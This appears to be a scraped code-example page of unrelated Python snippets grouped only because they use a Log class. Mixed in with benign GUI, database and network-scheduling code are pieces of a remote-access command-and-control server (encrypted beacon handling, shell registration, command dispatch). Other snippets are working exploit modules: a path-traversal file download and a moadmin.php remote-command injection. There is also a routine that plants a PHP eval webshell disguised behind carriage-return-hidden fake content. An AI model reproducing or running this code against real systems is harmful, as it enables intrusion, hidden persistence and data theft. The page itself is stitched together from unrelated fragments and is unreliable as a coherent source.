Exemplo n.º 1
0
 def save(self, button):
     Log.info('Clicked save button', origin='AddProjectForm')
     self.backend.new_project(name=self.name_entry.get_text(),
                              description=self.description_entry.get_text())
     # TODO: update the project tree view
     replace_widget(self, self.previous_widget)
     self.window.update_from_backend()
Exemplo n.º 2
0
 def parse_cmd(self, data):
     cmd = data.split(' ', 1)[0].lower()
     if not self.guid == '':
         if cmd == 'background':
             self._prompt = 'Main'
             self.db.remove_active_user(self.config.get('uid'), self.guid)
             self.guid = ''
         elif cmd == 'exit':
             UI.error('*** You really want to kill this shell *** (yes/no)')
             if UI.prompt('Exit').lower() == 'yes':
                 self.db.push_cmd(self.guid, 'exit', Utils.guid(),
                                  self.config.get('username'))
                 self._prompt = 'Main'
                 self.guid = ''
         else:
             self.db.append_shell_data(
                 self.guid, '[%s] %s Sending: \n%s\n\n' %
                 (Utils.timestamp(), self.config.get('username'), data))
             Log.log_shell(self.guid, 'Sending', data,
                           self.config.get('username'))
             if self.shell_cmds.has_key(cmd):
                 callback = self.shell_cmds[cmd]
                 data = callback(data)
             if not (cmd == 'help' or data == ''):
                 self.db.push_cmd(self.guid, data, Utils.guid(),
                                  self.config.get('username'))
     else:
         # interacting with the main console
         if self.cmds.has_key(cmd):
             callback = self.cmds[cmd]
             callback(data)
         elif not cmd.strip() == '':
             UI.error('%s is not a valid command' % cmd)
Exemplo n.º 3
0
        def do_POST(self):
            guid = ""
            try:
                guid = self.path.split('?', 1)[1]
            except:
                Log.log_error("Invalid request no GUID", self.path)
                self.return_data()
                return

            self.db.update_checkin(guid)

            length = int(self.headers.getheader("Content-Length"))
            data = self.rfile.read(length)
            try:
                data = self.rc4.crypt(base64.b64decode(data))
            except:
                Log.log_error("Invalid base64 data received", self.path)
                self.return_data()
                return

            parser = HTTPDParser(config)
            self.output = base64.b64encode(
                self.rc4.crypt(parser.parse_cmd(guid, data)))

            self.return_data()
Exemplo n.º 4
0
    def post(self):
        oname = self.get_username()
        ipAddress = self.get_argument("ipAddress", None)
        ename = self.get_argument("ename", None)
        tusername = self.get_argument("tusername", None)
        tpassword = self.get_argument("tpassword", None)
        if not tusername or not tpassword:
            # do something
            self.flash.error = "You must enter a username and password to proceed. Please try again."
            self.redirect("/add_exchange")
            return

        if tpassword != self.get_argument("tpassword2", None):
            self.flash.error = "Passwords do not match. Please try again."
            self.redirect("/add_exchange")
            return
        Exchange.insert(ename, oname, ipAddress)
        rpc = TelnetRpcClient(options.service_ip)
        msg = json.dumps({'fileadd':options.telnet_key_dir, \
                                                    'ipadd':ipAddress,'username':tusername,"password":tpassword})
        from util import encrypt_util
        encoded = encrypt_util.encode(msg)
        response = rpc.call("key_queue", encoded)
        Log.info(response)
        ##加密传输入保存
        self.redirect("/get_exchanges")
Exemplo n.º 5
0
class Library(object):
    def __init__(self, library):
        self._library = library
        self._asset = None  # Asset cache
        self.log = Log()
        self.snapshot = connections.Connector()

    def __repr__(self):
        return self._library.filepath

    @property
    def asset(self):
        import os
        # Figure out what asset this library refers to
        if not self._asset:
            filepath = os.path.split(self._library.filepath)[0]

            # Get the asset data associated with this linked library
            code = os.path.normpath(filepath).split(os.path.sep)[-1:][0]
            type_secondary = os.path.normpath(filepath).split(os.path.sep)[-2:-1][0]
            type_primary = os.path.normpath(filepath).split(os.path.sep)[-3:-2][0]
            show = os.path.normpath(filepath).split(os.path.sep)[-4:-3][0]
            self.log.info(", ".join([show, type_primary, type_secondary, code]))
            self._asset = self.snapshot.asset(
                code=code, type_primary=type_primary, type_secondary=type_secondary, show=show
            )
        return self._asset

    @property
    def filepath(self):
        return self._library.filepath
Exemplo n.º 6
0
        def do_POST(self):

            if self.path.split("/")[1] == "api":
                server_api = ServerApi(self.config, self)
                self.output = server_api.process()
                self.return_json()
                return

            length = 0
            if not self.headers.getheader("Content-Length") == None:
                length = int(self.headers.getheader("Content-Length"))

            data = self.rfile.read(length)
            try:
                data = json.loads(data)
                data["Data"] = self.rc4.crypt(base64.b64decode(data["Data"]))
            except:
                Log.log_error("Invalid base64 data received or bad decryption",
                              self.path)
                self.return_data()
                return

            guid = ""
            try:
                guid = Utils.validate_guid(data["ID"])
            except:
                Log.log_error("Invalid request no GUID", self.path)
                self.return_data()
                return

            if not guid == None:
                self.db.update_checkin(guid)

                parser = HTTPDParser(config)
                output = parser.parse_cmd(guid, data["Data"], data["UUID"])
                if not output == None:
                    uuid = output[:36]
                    output = output[37:]
                    self.output = base64.b64encode(self.rc4.crypt(output))
                    self.output = json.dumps({
                        "UUID": uuid,
                        "ID": guid,
                        "Data": self.output
                    })
                else:
                    self.output = json.dumps({
                        "UUID":
                        None,
                        "ID":
                        guid,
                        "Data":
                        Utils.gen_str(random.randrange(10, 1000))
                    })
                self.return_json()
                return
            else:
                self.output = Utils.load_file(
                    "html/%s" % self.config.get("http-default-404"))

            self.return_data()
Exemplo n.º 7
0
 def exploit(self):
     '''
     漏洞利用的核心代码, 在此函数中完成漏洞利用
     '''
     host = self.get_config("remote_host")
     port = self.get_config("remote_port")
     file = self.get_config("file")
     if not self.login():
         Log.error("Login failed!")
         return False
     Log.success("Login successful!")
     url = "http://%s:%d/components/filemanager/download.php?path=../../../../..%s&type=undefined" % (
         host, port, file)
     try:
         response = self.session.get(url)
         if response.status_code == 200:
             Log.success("Exploit success!")
             Log.info(">>>>>> %s <<<<<<" % (file))
             print("%s" % color.blue(response.content))
             return True
         else:
             return False
     except Exception as e:
         Log.error(str(e))
         return False
Exemplo n.º 8
0
 def create(self, table, fields, types):
     sql = MiniDBMS.CREATE % (
         table, MiniDBMS.sql_structure_generator(fields, types))
     Log._(sql, Log.ORDINARY)
     state = self._execute(sql)
     self._commit()
     return state
Exemplo n.º 9
0
    def parse_cmd(self, data):
        cmd = data.split(" ", 1)[0].lower() 
        
        # interacting with a shell
        if not self.guid == "":
            if cmd == "background":
                self._prompt = "Main"
                self.guid = ""
            
            elif cmd == "exit":
                UI.error("*** You really want to kill this shell *** (yes/no)")
                if UI.prompt("Exit").lower() == "yes":
                    self.db.push_cmd(self.guid, "exit")
                    self._prompt = "Main"
                    self.guid = ""
            else:
                Log.log_shell(self.guid, "Sending", data)
                if self.shell_cmds.has_key(cmd):
                    callback = self.shell_cmds[cmd]
                    data = callback(data)

                if not (cmd == "help" or data == ""):
                    self.db.push_cmd(self.guid, data)
                    self.get_cmd_output()
                
        # interacting with the main console
        else:
            if self.cmds.has_key(cmd):
                callback = self.cmds[cmd]
                callback(data)
            else:
                UI.error("%s is not a valid command" % cmd)
Exemplo n.º 10
0
 def update(self, table, fields, data):
     sql = MiniDBMS.UPDATE % (
         table, MiniDBMS.sql_assignment_generator(fields, data))
     Log._(sql, Log.ORDINARY)
     state = self._execute(sql)
     self._commit()
     return state
Exemplo n.º 11
0
        def do_POST(self):
            if self.path.split('/')[1] == 'api':
                server_api = ServerApi(self.config, self)
                self.output = server_api.process()
                self.return_json()
                return

            length = 0
            if not self.headers.getheader('Content-Length') == None:
                length = int(self.headers.getheader('Content-Length'))

            data = self.rfile.read(length)
            try:
                data = json.loads(data)
                data['Data'] = self.rc4.crypt(base64.b64decode(data['Data']))
            except:
                Log.log_error('Invalid base64 data received or bad decryption',
                              self.path)
                self.return_data()
                return

            guid = ''
            try:
                guid = Utils.validate_guid(data['ID'])
            except:
                Log.log_error('Invalid request no GUID', self.path)
                self.return_data()
                return

            if not guid == None:
                self.db.update_checkin(guid, str(self.client_address[0]))

                parser = HTTPDParser(config)
                output = parser.parse_cmd(guid, data['Data'], data['UUID'])
                if not output == None:
                    uuid = output[:36]
                    output = output[37:]
                    self.output = \
                        base64.b64encode(self.rc4.crypt(output))
                    self.output = json.dumps({
                        'UUID': uuid,
                        'ID': guid,
                        'Data': self.output
                    })
                else:
                    self.output = json.dumps({
                        'UUID':
                        None,
                        'ID':
                        guid,
                        'Data':
                        Utils.gen_str(random.randrange(10, 1000))
                    })
                self.return_json()
                return
            else:
                self.output = Utils.load_file(
                    'html/%s' % self.config.get('http-default-404'))

            self.return_data()
Exemplo n.º 12
0
    def parse_cmd(self, data):
        cmd = data.split(" ", 1)[0].lower()
        
        # interacting with a shell
        if not self.guid == "":
            if cmd == "background":
                self._prompt = "Main"
                self.guid = ""
            
            elif cmd == "exit":
                UI.error("*** You really want to kill this shell *** (yes/no)")
                if UI.prompt("Exit").lower() == "yes":
                    self.db.push_cmd(self.guid, "exit")
                    self._prompt = "Main"
                    self.guid = ""
            else:
                Log.log_shell(self.guid, "Sending", data)
                if self.shell_cmds.has_key(cmd):
                    callback = self.shell_cmds[cmd]
                    data = callback(data)

                if not (cmd == "help" or data == ""):
                    self.db.push_cmd(self.guid, data)
                    self.get_cmd_output()
                
        # interacting with the main console
        else:
            if self.cmds.has_key(cmd):
                callback = self.cmds[cmd]
                callback(data)
            else:
                UI.error("%s is not a valid command" % cmd)
Exemplo n.º 13
0
 def post(self):  
     oname = self.get_username()
     ipAddress = self.get_argument("ipAddress", None)
     ename = self.get_argument("ename", None)
     tusername = self.get_argument("tusername", None)
     tpassword = self.get_argument("tpassword", None)
     if not tusername or not tpassword:
         # do something
         self.flash.error = "You must enter a username and password to proceed. Please try again."
         self.redirect("/add_exchange")
         return
     
     if tpassword != self.get_argument("tpassword2", None) :
         self.flash.error = "Passwords do not match. Please try again."
         self.redirect("/add_exchange")
         return
     Exchange.insert(ename,oname,ipAddress)
     rpc = TelnetRpcClient(options.service_ip)
     msg = json.dumps({'fileadd':options.telnet_key_dir, \
                                                 'ipadd':ipAddress,'username':tusername,"password":tpassword})
     from util import encrypt_util  
     encoded = encrypt_util.encode(msg)
     response = rpc.call("key_queue",encoded)
     Log.info(response)
     ##加密传输入保存
     self.redirect("/get_exchanges")     
Exemplo n.º 14
0
 def do_POST(self):
     if self.path.split("/")[1] == "api":
         server_api = ServerApi(self.config, self)
         self.output = server_api.process()
         self.return_json()
         return 
     
     guid = ""
     try:
         guid = Utils.validate_guid(self.path.split('?', 1)[1])
     except:
         Log.log_error("Invalid request no GUID", self.path)
         self.return_data()
         return
         
     if not guid == None:
         self.db.update_checkin(guid)
     
         length = 0
         if not self.headers.getheader("Content-Length") == None:
             length = int(self.headers.getheader("Content-Length"))
         data = self.rfile.read(length)
         try:
             data = self.rc4.crypt(base64.b64decode(data))
         except:
             Log.log_error("Invalid base64 data received", self.path)
             self.return_data()
             return 
         
         parser = HTTPDParser(config)
         self.output = base64.b64encode(self.rc4.crypt(parser.parse_cmd(guid, data)))
     else:
         self.output = Utils.load_file("html/%s" % self.config.get("http-default-404"))
         
     self.return_data()
Exemplo n.º 15
0
 def end_task(self, task_id) -> Response:
     try:
         self.taskManager.remove_task(task_id)
         return Response(True, None)
     except IdError as e:
         Log.error(e)
         return Response(False, None, e)
Exemplo n.º 16
0
 def exploit(self):
     '''
     漏洞利用的核心代码, 在此函数中完成漏洞利用
     '''
     Log.info("Lauching the exploition...")
     host = self.get_config("remote_host")
     port = self.get_config("remote_port")
     path = self.get_config("path")
     command = self.get_config("command")
     url = "http://%s:%d/%s/moadmin.php?collection=1" % (host, port, path)
     data = {
         "object":
         "1;system(base64_decode('%s'));die();" %
         (command.encode("base64").replace("\n", ""))
     }
     Log.info("Url: %s" % (url))
     Log.info("Data: %s" % (data))
     try:
         response = requests.post(url, data=data)
         if response.status_code == 200:
             Log.success("Exploit success!")
             print "%s" % (color.blue(response.content))
             return True
         else:
             return False
     except Exception as e:
         Log.error(str(e))
         return False
Exemplo n.º 17
0
 def set_user(self):
     self.session['authenticated'] = True
     self.session['uid'] = Utils.guid()
     self.session['username'] = request.form['username'].strip()
     self.session['password'] = hashlib.sha512(request.form['password'].strip()).hexdigest()
     self.active_users.append(str(self.session['username']))
     Log.log_event('User Login', '%s' % str(self.session['username']))
Exemplo n.º 18
0
 def parse_cmd(self, data):
     cmd = data.split(" ", 1)[0].lower()
     if not self.guid == "":
         if cmd == "background":
             self._prompt = "Main"
             self.db.remove_active_user(self.config.get("uid"), self.guid)
             self.guid = ""
         elif cmd == "exit":
             UI.error("*** You really want to kill this shell *** (yes/no)")
             if UI.prompt("Exit").lower() == "yes":
                 self.db.push_cmd(self.guid, "exit", Utils.guid(), self.config.get("username"))
                 self._prompt = "Main"
                 self.guid = ""
         else:
             self.db.append_shell_data(self.guid, "[%s] %s - Sending command: \n%s\n\n" % (Utils.timestamp(), self.config.get("username"), data))
             Log.log_shell(self.guid, "- Sending command", data, self.config.get("username"))
             if cmd in self.shell_cmds:
                 callback = self.shell_cmds[cmd]
                 data = callback(data)
             if not (cmd == "help" or data == ""):
                 self.db.push_cmd(self.guid, data, Utils.guid(),self.config.get("username"))
     else:
     # interacting with the main console
         if cmd in self.cmds:
             callback = self.cmds[cmd]
             callback(data)
         elif not cmd.strip() == "":
             UI.error("%s is not a valid command" % cmd)
Exemplo n.º 19
0
 def screenshot(self, guid, data):
     (cmd, data) = data.split(" ", 1)
     shell = self.db.get_prompt(guid).decode().split(" ")[1]
     Log.log_event("Screenshot", "Received (%s)" % shell)
     self.db.append_shell_data(
         guid, "[%s] Screenshot Received\n\n" % (Utils.timestamp()))
     Log.log_screenshot(guid, data)
Exemplo n.º 20
0
 def sql_structure_generator(cls, fields, types):
     structures = [
         MiniDBMS.DECLARATION % (f, t) for f, t in zip(fields, types)
     ]
     structure = MiniDBMS.SUBSEPARAOR.join(structures)
     Log._(structure, Log.VORBOSE)
     return structure
Exemplo n.º 21
0
 def php_command_exec(self, function, command):
     try:
         tick = random_string(3, string.letters)
         token = random_string(32, string.letters)
         if self.method == "POST":
             data = {
                 self.password:
                 "******" + token + "';" +
                 function + "($_POST[" + tick + "]);echo '" + token + "';",
                 tick:
                 command + " 2>&1"
             }
             response = requests.post(self.url, data=data)
         elif self.method == "GET":
             params = {
                 self.password:
                 "******" + token + "';" +
                 function + "($_GET[" + tick + "]);echo '" + token + "';",
                 tick:
                 command + " 2>&1"
             }
             response = requests.get(self.url, params=params)
         else:
             return (False, "Unsupported method!")
         content = response.text
         if token in content:
             return (True, content.split(token)[1])
         else:
             return (False, content)
     except Exception as e:
         Log.error(e)
         return (False, e)
Exemplo n.º 22
0
class Library(object):
    def __init__(self, library):
        self._library = library
        self._asset = None  # Asset cache
        self.log = Log()
        self.snapshot = connections.Connector()

    def __repr__(self):
        return self._library.filepath

    @property
    def asset(self):
        import os
        # Figure out what asset this library refers to
        if not self._asset:
            filepath = os.path.split(self._library.filepath)[0]

            # Get the asset data associated with this linked library
            code = os.path.normpath(filepath).split(os.path.sep)[-1:][0]
            type_secondary = os.path.normpath(filepath).split(
                os.path.sep)[-2:-1][0]
            type_primary = os.path.normpath(filepath).split(
                os.path.sep)[-3:-2][0]
            show = os.path.normpath(filepath).split(os.path.sep)[-4:-3][0]
            self.log.info(", ".join([show, type_primary, type_secondary,
                                     code]))
            self._asset = self.snapshot.asset(code=code,
                                              type_primary=type_primary,
                                              type_secondary=type_secondary,
                                              show=show)
        return self._asset

    @property
    def filepath(self):
        return self._library.filepath
Exemplo n.º 23
0
 def set_user(self):
     password = request.form["password"].strip().encode("utf-8")
     self.session["authenticated"] = True
     self.session["uid"] = Utils.guid()
     self.session["username"] = request.form["username"].strip()
     self.session["password"] = hashlib.sha512(password).hexdigest()
     self.active_users.append(self.session["username"])
     Log.log_event("User Login", "%s" % str(self.session["username"]))
Exemplo n.º 24
0
 def send_cmd(self, id, cmd, username,):
     output, cmd = self.shell.evalute_cmd(cmd)
     cmd_guid = Utils.guid()
     self.redis.append_shell_data(id, "[%s] %s - Sending command: %s\n%s\n\n" % (Utils.timestamp(), username, output, cmd))
     Log.log_shell(id, "- Sending command", "%s\n%s" % (output, cmd), username=username)
     if not cmd == "":
         self.redis.push_cmd(id, cmd, cmd_guid, username)
     return json.dumps({"output": output})
Exemplo n.º 25
0
 def hash_remote_file(self, path):
     result = self.php_code_exec_token("echo md5(file_get_contents('%s'));" % (path))
     if result[0]:
         content = result[1]
         return content
     else:
         Log.error("Some error occured when exec php code...")
         return ""
Exemplo n.º 26
0
 def auto_inject_webshell(self, filename, password):
     # TODO : remove arg filename
     webshell_content = "<?php eval($_REQUEST['%s']);?>" % (password)
     fake_content = "<?php print_r('It works');?>"
     padding = " " * (len(webshell_content) - len(fake_content))
     content = webshell_content + "\r" + fake_content + padding + "\n"
     urls = self.auto_inject_phpfile(filename, content)
     Log.success("Inject success : \n%s" % (urls))
Exemplo n.º 27
0
 def insert(self, table, data):
     sql = MiniDBMS.INSERT % (table,
                              MiniDBMS.sql_placeholder_generator(
                                  max([len(d) for d in data])))
     Log._(sql, Log.ORDINARY)
     state = self._batch_execute(sql, data)
     self._commit()
     return state
Exemplo n.º 28
0
 def register(self, guid, data):
     cmd, guid, prompt = data.split(" ", 2)
     self.db.set_prompt(guid, prompt)
     index = self.db.get_id(guid)
     print ""
     UI.success("Registering new shell %s" % prompt)
     UI.success("New shell ID %s GUID is %s" % (index, guid))
     Log.log_event("New Shell", data)
Exemplo n.º 29
0
 def auto_exec_print(self, command):
     result = self.auto_exec(command)
     if result[0]:
         Log.success("Result : \n%s" %
                     (repr(result[1][0:-1])).replace("\\n", "\n")[2:-1])
     else:
         Log.error("Error occured! %s" %
                   (repr(result[1][0:-1])).replace("\\n", "\n")[2:-1])
Exemplo n.º 30
0
 def logout(self):
     try:
         self.active_users.remove(str(self.session['username']))
         Log.log_event('User Logout', '%s' % str(self.session['username']))
         self.session.pop('username')
         self.session.pop('authenticated')
     except:
         pass
Exemplo n.º 31
0
 def register(self, guid, data):
     cmd, guid, prompt = data.split(" ", 2)
     self.db.set_prompt(guid, prompt)
     index = self.db.get_id(guid)
     print ""
     UI.success("Registering new shell %s" % prompt)
     UI.success("New shell ID %s GUID is %s" % (index, guid))
     Log.log_event("New Shell", data)
Exemplo n.º 32
0
 def page(self):
     start = (self.page_number - 1) * self.limit
     end = start + self.limit
     try:
         list = self.collection[start:end]
         return list
     except Exception as detail:
         Log.warning(detail)
         return []
Exemplo n.º 33
0
 def page(self):
     start = (self.page_number - 1) * self.limit
     end = start + self.limit
     try:
         list = self.collection[start:end]
         return list
     except Exception as detail:
         Log.warning(detail)
         return []
Exemplo n.º 34
0
 def sql_assignment_generator(
     cls, fields, data
 ):  #todo: more perfecter(correct value format according to filed type of each field)
     assignments = [
         MiniDBMS.ASSIGNMENT % (f, d) for f, d in zip(fields, data)
     ]
     assignment = MiniDBMS.SEPARATOR.join(assignments)
     Log._(assignment, Log.VORBOSE)
     return assignment
Exemplo n.º 35
0
 def set_config(self, key, value):
     '''
     对模块的参数进行修改
     由 set 命令触发
     通常不需要改动
     '''
     if key in self.config.keys():
         self.config[key]["default"] = value
     else:
         Log.error("No such option!")
Exemplo n.º 36
0
 def dispatch(self, frame):
     data = frame[-1]
     frame.remove(data)
     try:
         request = protocol.Request.loads(data)
         executor.submit(_async_run, self, request, self.send, frame)
         Log.get_logger().debug('[request] mid: %s call_at: %f expire_at: %f ***** %s.%s(%s, %s)', request.mid,
                                request.call_at,
                                request.expire_at, request.klass, request.method, request.args, request.kwargs)
     except Exception, e:
         Log.get_logger().exception(e)
Exemplo n.º 37
0
 def parse_cmd(self, guid, data):
     cmd = data.split(" ", 1)[0].lower()
     if self.cmds.has_key(cmd):
         callback = self.cmds[cmd]
         callback(guid, data)
     else:
         # I assume we got command output here and save it
         if not data.strip() == "":
             self.db.push_output(guid, data)
             Log.log_shell(guid, "Received", data)
         
     return self.output
Exemplo n.º 38
0
    def set_bandwidth_job():
        from models.order import Order 
        from models.product import Product  
        from models.exchange import Exchange 
        from client.rpc_client import TelnetRpcClient    
        from tornado.options import options
        import json 
        from util import encrypt_util
        Log.info(" [x] Requesting")  
        Log.info('set_bandwidth_job start at ', datetime.datetime.now())
        need_do = ''
        Log.info("请异步发送")
        orders = Order.get_working_orders()
        for order in orders:    
            product = Product.lookup(order['p_id'])
            exchange = Exchange.lookup(product['e_id'])  
            need_do = need_do+json.dumps({'switch_name':exchange['ename'],"vlan":product['vlan'], \
                            "port_name":product['port'], "host":exchange['ipAddress'], \
                            "bandwidth":order['bandwidth']})
            Order.finish_order(order['_id'])         
        need_back=''
        orders = Order.get_back_orders()
        for order in orders:
            product = Product.lookup(order['p_id'])
            exchange = Exchange.lookup(product['e_id'])  
            need_back = need_back+json.dumps({'switch_name':exchange['ename'],"vlan":product['vlan'], \
                            "port_name":product['port'], "host":exchange['ipAddress'], \
                            "bandwidth":order['bandwidth']})
            Order.back_order(order['_id'])
        orders = {}   
        flag = False  
        if(need_do!=''):
            orders['need_do']=need_do
            flag = True
        if(need_back!=''):
            orders['need_back']=need_back
            flag = True
        if(flag!=True):
            rpc = TelnetRpcClient(options.service_ip)
            encoded = encrypt_util.encode(str(orders))
            response = rpc.call("rpc_queue",encoded)
        Log.info('set_bandwidth_job end at ', datetime.datetime.now())
        Log.info(response)
#        rpc = TelnetRpcClient('192.168.0.2')
#        orders = Order.get_working_orders()
#        for order in orders:
#            product = Product.lookup(order['p_id'])
#            exchange = Exchange.lookup(product['e_id']) 
#            response = rpc.call(json.dumps({'switch_name':'TelnetManage3560', "vlan":product['vlan'],
#                            "port_name":product['port'], "host":exchange['ipAddress'], "bandwidth":product['ctype']*order['percent']/100}))
        print 'set_bandwidth_job end at ', datetime.datetime.now()
Exemplo n.º 39
0
def _async_run(handler, request, callback, frame):
    tik = time.time()
    response = protocol.Response.to(request)
    try:
        klass = request.klass
        method = request.method
        args = request.args
        kwargs = request.kwargs
        expire_at = request.expire_at
        call_at = request.call_at
        if WASTE_GAP and tik - call_at > WASTE_GAP:
            # 设置WASTE_GAP意味着被调用请求到收到请求耗时超过WASTE_GAP秒,则不处理了
            Log.get_logger().debug('[abandon] mid: %s call_at: hands_on_at: %f',
                                   response.mid, request.call_at, tik)
            return
        func = handler.get_ref(klass, method, args, kwargs)
        res = func()
        tok = time.time()
        costs = tok - tik
        response.set_result(res)
        response.set_costs(costs)

        if tok > expire_at > 0:
            Log.get_logger().debug('[timeout] mid: %s call_at: %f expire_at: %f hands_on_at: %f done_at: %f costs: %f',
                                   response.mid, request.call_at, request.expire_at, tik, tok, costs)
            return
        Log.get_logger().debug('[response] mid: %s status: %d costs: %f', response.mid, response.status, costs)
    except Exception as e:
        tok = time.time()
        costs = tok - tik
        response.set_error(e)
        response.set_costs(costs)
        Log.get_logger().exception(e)
    frame.append(response.box())
    IOLoop.instance().add_callback(callback, frame)
Exemplo n.º 40
0
 def get(self): 
     oname = self.get_username()
     template_values = {}
     #page info
     page = self.get_argument('page', 1)
     page = page if page >= 1 else 1
     #get the document count param
     count = self.get_argument('count', 10)
     count = count if count >= 1 else 10
     Log.info("got some exchange massage")
     exchanges = Exchange.get_exchanges(oname)
     paginator = Paginator(exchanges, page, count, len(exchanges))
     template_values['paginator'] = paginator
     template_values['status'] = ''
     self.render_template('/site/exchange.html', **template_values)
Exemplo n.º 41
0
    def setUp(self):
        AbstractAPI.CACHE['http://www.animeseason.com/anime-list/'] = open(
            "../cache/animeseason.anime-list.html").read()
        AbstractAPI.CACHE['http://www.animeseason.com/gosick/'] = open("../cache/animeseason.gosick.html").read()

        self.api = AnimeSeason()
        self.log = Log.create_log(__name__)
Exemplo n.º 42
0
 def view_event(self, data):
     log_path = Utils.get_arg_at(data, 1, 2)
     if log_path == "":
         UI.error("Missing arguments")
         return 
 
     log_path += ".log"
     
     rows = Utils.get_arg_at(data, 2, 2)
     if rows == "":
         rows = 10
     else:
         try:
             rows = int(rows)
         except:
             rows = 10
             
     log_path = Log.get_current_path(log_path)
     
     data = []
     
     if Utils.file_exists(log_path):
         for line in open(log_path, "rb").readlines():
             data.append(line)
         
         print "\nLast %d lines of log\n-----------------------\n" % rows    
         data = list(reversed(data))
         
         for i in range(0, rows):
             try:
                 print data[i]
             except:
                 pass
Exemplo n.º 43
0
 def post(self):   
     e_id = self.get_argument('e_id')
     e = Exchange.lookup(e_id)
     tusername = self.get_argument('username')
     newPw = self.get_argument('new_pw')
     newPw2 = self.get_argument('new_pw_again')
     if newPw != newPw2 :
         self.flash.error = "Passwords do not match, please try again"
         self.redirect("/exchange_up")
         return
     tpassword =newPw  
     rpc = TelnetRpcClient(options.service_ip)
     msg = json.dumps({'fileadd':options.telnet_key_dir,'ipadd':e['ipAddress'],'username':tusername,"password":tpassword})
     from util import encrypt_util
     encoded = encrypt_util.encode(msg)
     response = rpc.call("key_queue",encoded)
     Log.info(response)
     self.flash.success = "Successfully updated password"
     self.redirect('/exchange_up')       
Exemplo n.º 44
0
    def main(self, path):
        #import tornado stuff
        import tornado.web, tornado.httpserver, tornado.ioloop, tornado.options
        from tornado.options import options
        from config import options_setup
        from db.mongo import Mongo

        #parse the app config
        tornado.options.parse_config_file(os.path.join(path, 'config/settings.py'))
        #parse the command line args
        tornado.options.parse_command_line()      
        #connect to our db using our options set in settings.py
        Mongo.create(host=options.db_host, port=options.db_port)
        #init our url routes
        url_routes = self.init_routes()
        #init a logger
        self.init_logging(options.log)
        #add in any app settings 
        settings = {
            "static_path": options.static_path,
            "cookie_secret": options.cookie_secret,
            "login_url": options.login_url,
        }
        
        #setup the controller action routes
        #tornado.process.fork_processes(0)
        self.application = tornado.web.Application(url_routes, **settings)
        
        self.application.pika = PikaClient()
        
        #instantiate a server instance
        http_server = tornado.httpserver.HTTPServer(self.application)
        
        #bind server to port
        http_server.listen(options.port)
            
        dss_jobs()
        
        #log our start message
        Log.info("Ready and listening")
        
        #start the server
        tornado.ioloop.IOLoop.instance().start()
Exemplo n.º 45
0
 def post(self):
     oname = self.get_username()
     ename = self.get_argument("ename", None)
     status = self.get_argument("status", None)  
     template_values = {}
     #page info
     page = self.get_argument('page', 1)
     page = page if page >= 1 else 1
     #get the document count param
     count = self.get_argument('count', 10)
     count = count if count >= 1 else 10
     Log.info("got some exchange massage")
     if status is not None:
         template_values['status'] = status
     else:
         template_values['status'] = ''
     exchanges = Exchange.get_condition_exchanges(oname,ename,template_values['status'])
     paginator = Paginator(exchanges, page, count, len(exchanges))
     template_values['paginator'] = paginator
     template_values['ename'] = ename
     self.render_template('/site/exchange.html', **template_values)#/site/bandwidth.html
Exemplo n.º 46
0
class Playblast(object):
    """
    This is a stand-in class that needs to be replaced - placeholder for now
    """
    def __init__(self, asset):
        self.asset = asset
        self.log = Log()

    def __str__(self):
        return "%s - playblast" % asset.code

    def execute(self):
        """
        Do playblast here
        :return:
        """
        self.log.info("Playblasting %s" % self.asset.code)


    @property
    def movie(self):
        return Movie(self)
Exemplo n.º 47
0
    def main(self):
        import tornado.web
        import tornado.httpserver
        import tornado.ioloop
        import tornado.options
        from tornado.options import options
        import config.options
        from core.log import Log
        from core.database import MongoDB
        from utils.mail import Mailer

        tornado.options.parse_config_file(os.path.join(os.path.dirname(__file__),'config/settings.py'))
        tornado.options.parse_command_line()

        self.init_logging(options.log)

        MongoDB.create(host=options.db_host, port=options.db_port)

        Mailer.create_mailer()

        url_routes = self.init_routes()

        settings = dict(
            template_path = options.template_dir,
            static_path = options.static_path,
            cookie_secret = options.cookie_secret,
            login_url = '/login',
            debug = options.debug
        )


        http_server = tornado.httpserver.HTTPServer(tornado.web.Application(url_routes, **settings))

        http_server.listen(options.port)

        Log.info("Ready and listening")

        tornado.ioloop.IOLoop.instance().start()
Exemplo n.º 48
0
 def do_POST(self):
     guid = ""
     try:
         guid = self.path.split('?', 1)[1]
     except:
         Log.log_error("Invalid request no GUID", self.path)
         self.return_data()
         return
         
     self.db.update_checkin(guid)
 
     length = int(self.headers.getheader("Content-Length"))
     data = self.rfile.read(length)
     try:
         data = self.rc4.crypt(base64.b64decode(data))
     except:
         Log.log_error("Invalid base64 data received", self.path)
         self.return_data()
         return 
     
     parser = HTTPDParser(config)
     self.output = base64.b64encode(self.rc4.crypt(parser.parse_cmd(guid, data)))
     
     self.return_data()
Exemplo n.º 49
0
 def on_read(self):
     try:
         bevent, endpoint = self._visor.recv_multipart()
         event, _ = struct.unpack('=hi', bevent)
         if event & zmq.EVENT_CONNECTED:
             Log.get_logger().debug('[%s] connection available' % endpoint)
             if hasattr(self, 'available_cb'):
                 self.available_cb()
         if event & zmq.EVENT_DISCONNECTED:
             Log.get_logger().debug('[%s] connection unavailable' % endpoint)
             if hasattr(self, 'unavailable_cb'):
                 self.unavailable_cb()
     except Exception as e:
         Log.get_logger().debug(e)
Exemplo n.º 50
0
 def __init__(self, root_url = settings.ROOT_URL):
     self.root_url = root_url
     self.urls = settings.URLS
     self.users_url = "%s%susers/" %(self.root_url, find_key(self.urls, "users"))
     self.preferences_url = "%s%spreferences/" %(self.root_url, find_key(self.urls, "preferences"))
     self.show_url = "%s%sshow/" %(self.root_url, find_key(self.urls, "show"))
     self.assets_url = "%s%sassets/" %(self.root_url, find_key(self.urls, "assets"))
     self.versions_url = "%s%sversions/" %(self.root_url, find_key(self.urls, "versions"))
     self.movies_url = "%s%smovies/" %(self.root_url, find_key(self.urls, "movies"))
     self.images_url = "%s%simages/" %(self.root_url, find_key(self.urls, "images"))
     self.companies_url = "%s%scompanies/" %(self.root_url, find_key(self.urls, "companies"))
     self.layer_url = "%s%slayer/" %(self.root_url, find_key(self.urls, "layer"))
     self.render_url = "%s%srender/" %(self.root_url, find_key(self.urls, "render"))
     self.renderfarm_url = "%s%srenderfarm/" %(self.root_url, find_key(self.urls, "renderfarm"))
     self.action_url = "%s%saction/" %(self.root_url, find_key(self.urls, "action"))
     self.camera_url = "%s%scamera/" %(self.root_url, find_key(self.urls, "camera"))
     self.group_url = "%s%sgroup/" %(self.root_url, find_key(self.urls, "group"))
     self.material_url = "%s%smaterial/" %(self.root_url, find_key(self.urls, "material"))
     self.scene_url = "%s%sscene/" %(self.root_url, find_key(self.urls, "scene"))
